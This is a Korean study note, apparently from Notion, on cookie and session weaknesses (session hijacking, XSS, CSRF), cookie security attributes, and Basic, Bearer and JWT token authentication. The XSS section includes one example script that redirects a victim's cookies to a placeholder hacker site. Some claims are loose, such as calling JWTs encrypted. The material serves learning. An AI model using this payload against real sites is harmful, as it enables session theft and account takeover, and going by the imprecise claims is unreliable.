Search
Duplicate
📒

[Network Study] xx. Session의 취약점, Token 인증방식 ⭐

상태
완료
수업
Network Study
주제
Security
연관 노트
3 more properties
참고

Cookie / Session의 취약점

NOTE
쿠키를 통해 사용자 식별정보(Session ID)를 저장하여 인증을 진행할하므로 해커들은 다양한 방법으로 이 쿠키를 탈취하려고 한다!
일반적인 로그인 프로세스
세션 하이재킹(Session hijacking)
인증이 완료된 사용자의 브라우저에서 인증을 식별하고 있는 쿠키를 탈취해 로그인없이 탈취한 쿠키를 사용해 서버와 통신하는 행위
Cookie를 통해 인증이 이루어지기 때문에, Cookie만 탈취하게 된다면, 그 사람으로 위장하여 정보 또는 결제를 할 수 있게된다.
ex) 네이버는 Cookie가 탈취당했더라도 결제를 막기위해, 비밀번호 입력을 해야한다,
⇒ Cookie의 보안속성을 통해 해결해보자!
개발자도구 Application-cookie에서 확인가능

HTTP Only Cookies(Xss 문제해결)

NOTE
Script를 통한 탈취방법(XSS)을 막고자 브라우저에서는 쿠키를 접근할 수 없도록 제한하는 옵션!
HTTP 통신외에는 Cookie 접근이 불가능하도록 한다.
HttpOnly속성을 지닌 쿠키는 JavaScirpt를 통한 접근이 불가능하다.
ex) js의 document.cookie를 통한 쿠키접근을 막아줌

XSS(Cross Site Scripting)

<script> location.href = '해커사이트주소?cookie=' + document.cookie </script>
YAML
복사
게시판 제목 또는 이미지 src에 해커사이트 주소로 연결되게 작성해 쿠키를 탈취하는 방법이다.
해커 사이트로 이동하게 되면서 이전 웹에 있던 Cookie값들이 해커 사이트의 Controller 단에서 Cookie라는 파라미터를 받아 탈취하게 된다.

Secure Cookies

NOTE
HTTPS를 사용해서 쿠키를 암호화해 전송한다!
SSL 암호화가 적용된 HTTPS 프로토콜을 이용해 데이터를 암호화해서 전달한다.
해커들이 쿠키를 탈취하였다고 해도, 암호화되어 정보를 알아낼 수 없다.

SameSite

NOTE
CSRF문제를 해결하기 위해 등장한 기술이며, Cross-site로 전송하는 요청의 쿠키의 전송제한을 둘 수 있다!
Cross-site로 전송하는 요청의 경우 쿠키의 전송에 제한을 두도록한다!

쿠키의 CSRF(Cross-Site Request Forgery) 문제

쉽게 설명하면 사용자의 권한을 통해 해커가 원하는 동작을 실행한다
사이트 사이 요청을 위조한다는 의미를 가지고 있다.
사용자는 자신이 의도 했던 것과 무관하게 공격자가 의도한 행위를 하게된다.
ex) 회원정보 변경, 데이터 수정

HTTP Authentication - Token 인증방식

NOTE
HTTP는 사용자 인증을 하는 데 사용하는 자체 인증요구/응답 프레임워크를 제공한다!
로그인 시 서버로 부터 Token(암호화된 문자열)을 응답 받는다.
쿠키를 사용하지 않아도 되므로, 쿠키를 탈취 당했을 때 보안 취약점들도 사라진다.
세션 하이재킹 해결!
Session 정보가 토큰 자체에 내장되어 있다.
무상태 HTTP 요청을 유지할 수 있다!
무상태성을 유지해 확장성 개선!

Basic

NOTE
사용자 ID와 PW를 Base64로 인코딩한 값을 토큰으로 사용한다!
HTTP 헤더 Authorization을 사용하는 방식 (Basic)
클라이언트는 Authorization 헤더에 인코딩 문자열(암호화 아님)을 전송한다.
username:password 값을 Base 64로 인코딩하여 보낸다.
서버는 해당 값을 디코딩하고, 401발생시 실패이유를 응답한다.
Basic 토큰 값이 노출이 되면 ID, PW가 노출되는 것이기 때문에 보안에 취약하다

Bearer

NOTE
Baere은 짐꾼을 의미하며, JWT와 같은 토큰 인증 방식에서 사용된다.
Basic과 달리 암호화된걸 받는다.
Basic방식과는 달리 ID,PW 값을 인코딩한값이 아, 암호화된 토큰을 부여받는다!

JWT(Json Web Token)

NOTE
JWT ⇒ 인증에 필요한 정보들을 인코딩 시킨 하나의 문자열을 의미한다!
만들어진 토큰(암호화된 문자열)은 HTTP Authorization에 적어서 보낸다.
디코하면 Header, Payload, Verfiy Signature가 나온다.
Token
인증을 위해 사용되는 암호화 문자열
JSON 같은 형식의 데이터를 Base64로 인코딩 한것이다.
Header
누구나 읽을 수 있는 암호화 방식(alg), 데이터 유형타입(typ)등을 포함한다.
Playload
누구나 읽을 수 있는 서버에 보낼 데이터이다.
사용자의 ID정보, 유효기간이 포함됨
Verify Signature
Base64로 인코딩한 Hader+Payload의 비밀키로 만든 암호 전자서명